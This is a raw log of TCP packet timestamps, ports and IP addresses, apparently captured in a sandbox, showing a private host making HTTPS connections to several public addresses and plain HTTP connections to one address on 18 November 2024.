Nov 18, 2024 08:55:11.872625113 CET	443	49704	104.98.116.138	192.168.2.7
Nov 18, 2024 08:55:11.872883081 CET	49704	443	192.168.2.7	104.98.116.138
Nov 18, 2024 08:55:12.414315939 CET	49677	443	192.168.2.7	20.50.201.200
Nov 18, 2024 08:55:12.601854086 CET	49674	443	192.168.2.7	104.98.116.138
Nov 18, 2024 08:55:12.601855040 CET	49675	443	192.168.2.7	104.98.116.138
Nov 18, 2024 08:55:12.976982117 CET	49672	443	192.168.2.7	104.98.116.138
Nov 18, 2024 08:55:13.914423943 CET	49677	443	192.168.2.7	20.50.201.200
Nov 18, 2024 08:55:16.898679018 CET	49677	443	192.168.2.7	20.50.201.200
Nov 18, 2024 08:55:19.545897961 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:19.545914888 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:19.545974970 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:19.546334028 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:19.546344995 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:19.846585989 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:19.851511002 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:19.851603985 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:19.852591038 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:19.857570887 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:20.283960104 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.284050941 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.287739038 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.287746906 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.288028955 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.296725988 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.343322992 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.517785072 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.517848969 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.517894983 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.517961025 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.517996073 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.518013000 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.518079996 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.542807102 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.542865992 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.542936087 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.542944908 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.542975903 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.543008089 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.635286093 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.635368109 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.635545969 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.635636091 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.658880949 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.658935070 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.658966064 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.658974886 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.659006119 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.659045935 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.660383940 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.660428047 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.660464048 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.660469055 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.660506010 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.660525084 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.751163960 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:20.751560926 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.751584053 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.751626015 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:20.751629114 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.751650095 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.751662016 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.751689911 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.753139973 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.753158092 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.753211021 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.753216982 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.753333092 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.753976107 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:20.758816957 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:20.775837898 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.775899887 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.775917053 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.775924921 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.775970936 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.776639938 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.776686907 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.776707888 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.776714087 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.776745081 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.776758909 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.778496027 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.778542042 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.778584003 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.778589010 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.778599977 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.778631926 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.780178070 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.780225039 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.780246019 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.780251980 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.780275106 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.780297041 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.781133890 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.781179905 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.781198978 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.781203985 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.781230927 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.781263113 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.782901049 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.782947063 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.782974005 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.782987118 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.783013105 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.783034086 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.869015932 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.869086027 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.869097948 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.869141102 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.869170904 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.869170904 CET	49705	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.869189978 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.869201899 CET	443	49705	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.908207893 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.908207893 CET	49708	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.908241987 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.908257961 CET	443	49708	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.908334970 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.908370972 CET	49708	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.908529043 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.908535004 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.908627987 CET	49708	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.908633947 CET	443	49708	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.909813881 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.909841061 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.909938097 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.910007000 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.910013914 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.910968065 CET	49710	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.910979033 CET	443	49710	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.911025047 CET	49710	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.911513090 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.911521912 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.911562920 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.911629915 CET	49710	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.911643028 CET	443	49710	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:20.911703110 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:20.911710978 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.043956995 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.044048071 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.045751095 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.052650928 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.326977968 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.327047110 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.327104092 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.329905987 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.429671049 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.434676886 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.629224062 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.637840986 CET	443	49710	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.643774033 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.652451038 CET	443	49708	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.656282902 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.679960966 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.679964066 CET	49710	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.695574045 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.699341059 CET	49708	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.699881077 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.709211111 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.709249973 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.709285021 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.709310055 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.709335089 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.709347963 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.709347963 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.709377050 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.709387064 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.709419966 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.709429979 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.709455967 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.709467888 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.709491014 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.709496975 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.709532022 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.709945917 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.709995031 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.862889051 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.862915993 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.863562107 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.863567114 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.864188910 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.864212036 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.864732981 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.864737988 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.865720987 CET	49710	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.865797043 CET	443	49710	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.868289948 CET	49710	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.868304968 CET	443	49710	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.868859053 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.868870020 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.869569063 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.869574070 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.870260954 CET	49708	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.870290995 CET	443	49708	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.870908976 CET	49708	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.870919943 CET	443	49708	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.894566059 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:21.899427891 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:21.993469954 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.993489981 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.993542910 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.993558884 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.993572950 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.993604898 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.993630886 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.994141102 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.994153023 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.994165897 CET	49707	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.994169950 CET	443	49707	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.995091915 CET	443	49710	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.995887041 CET	443	49710	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.995969057 CET	49710	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.996313095 CET	49710	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.996332884 CET	443	49710	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.996346951 CET	49710	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.996351957 CET	443	49710	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.996946096 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.996965885 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.997030973 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.997044086 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.997107983 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.997668982 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.997684002 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.997693062 CET	49711	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:21.997699022 CET	443	49711	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.999639988 CET	443	49708	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.999696016 CET	443	49708	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:21.999752045 CET	49708	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.003720045 CET	49712	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.003742933 CET	443	49712	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.003797054 CET	49712	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.003997087 CET	49708	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.003997087 CET	49708	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.004014969 CET	443	49708	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.004038095 CET	443	49708	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.005789995 CET	49712	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.005801916 CET	443	49712	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.008517027 CET	49713	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.008548021 CET	443	49713	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.008599997 CET	49713	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.010170937 CET	49714	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.010179996 CET	443	49714	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.010231018 CET	49714	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.010412931 CET	49714	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.010422945 CET	443	49714	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.011115074 CET	49713	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.011128902 CET	443	49713	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.012484074 CET	49715	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.012491941 CET	443	49715	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.012583971 CET	49715	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.012685061 CET	49715	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.012696028 CET	443	49715	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.013730049 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.013792038 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.013849020 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.013856888 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.013900995 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.013906002 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.013987064 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.014035940 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.014146090 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.014151096 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.014166117 CET	49709	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.014169931 CET	443	49709	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.017035961 CET	49716	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.017051935 CET	443	49716	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.017105103 CET	49716	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.017221928 CET	49716	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.017227888 CET	443	49716	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.173109055 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:22.173230886 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:22.189096928 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:22.189167023 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:22.193901062 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:22.194015026 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:22.194025040 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:22.194067955 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:22.194077969 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:22.194200993 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:22.194209099 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:22.211237907 CET	49675	443	192.168.2.7	104.98.116.138
Nov 18, 2024 08:55:22.211339951 CET	49674	443	192.168.2.7	104.98.116.138
Nov 18, 2024 08:55:22.586283922 CET	49672	443	192.168.2.7	104.98.116.138
Nov 18, 2024 08:55:22.725779057 CET	443	49714	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.726577997 CET	49714	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.726604939 CET	443	49714	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.727247953 CET	49714	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.727252007 CET	443	49714	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.750511885 CET	443	49713	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.750761986 CET	443	49716	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.750926018 CET	49713	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.750946045 CET	443	49713	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.751215935 CET	443	49715	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.751355886 CET	49713	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.751362085 CET	443	49713	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.751424074 CET	443	49712	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.751655102 CET	49716	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.751686096 CET	443	49716	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.751982927 CET	49716	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.751987934 CET	443	49716	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.752048016 CET	49712	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.752073050 CET	443	49712	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.752363920 CET	49712	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.752370119 CET	443	49712	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.752528906 CET	49715	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.752537966 CET	443	49715	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.752851009 CET	49715	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.752855062 CET	443	49715	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.851850033 CET	49677	443	192.168.2.7	20.50.201.200
Nov 18, 2024 08:55:22.864106894 CET	443	49714	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.864214897 CET	443	49714	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.864283085 CET	49714	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.864566088 CET	49714	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.864579916 CET	443	49714	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.864604950 CET	49714	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.864613056 CET	443	49714	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.867172956 CET	49717	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.867223024 CET	443	49717	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.867408991 CET	49717	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.867829084 CET	49717	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.867849112 CET	443	49717	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881314039 CET	443	49713	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881449938 CET	443	49713	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881464958 CET	443	49716	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881501913 CET	49713	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.881506920 CET	443	49715	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881521940 CET	443	49716	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881567955 CET	49716	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.881624937 CET	49713	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.881624937 CET	49713	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.881630898 CET	443	49715	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881637096 CET	443	49713	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881644964 CET	443	49713	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881683111 CET	49715	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.881692886 CET	49716	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.881701946 CET	443	49716	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.881714106 CET	49716	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.881719112 CET	443	49716	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.882266998 CET	49715	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:22.882271051 CET	443	49715	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:22.882282019 CET	49715	443	192.168.2.7	13.107.246.45
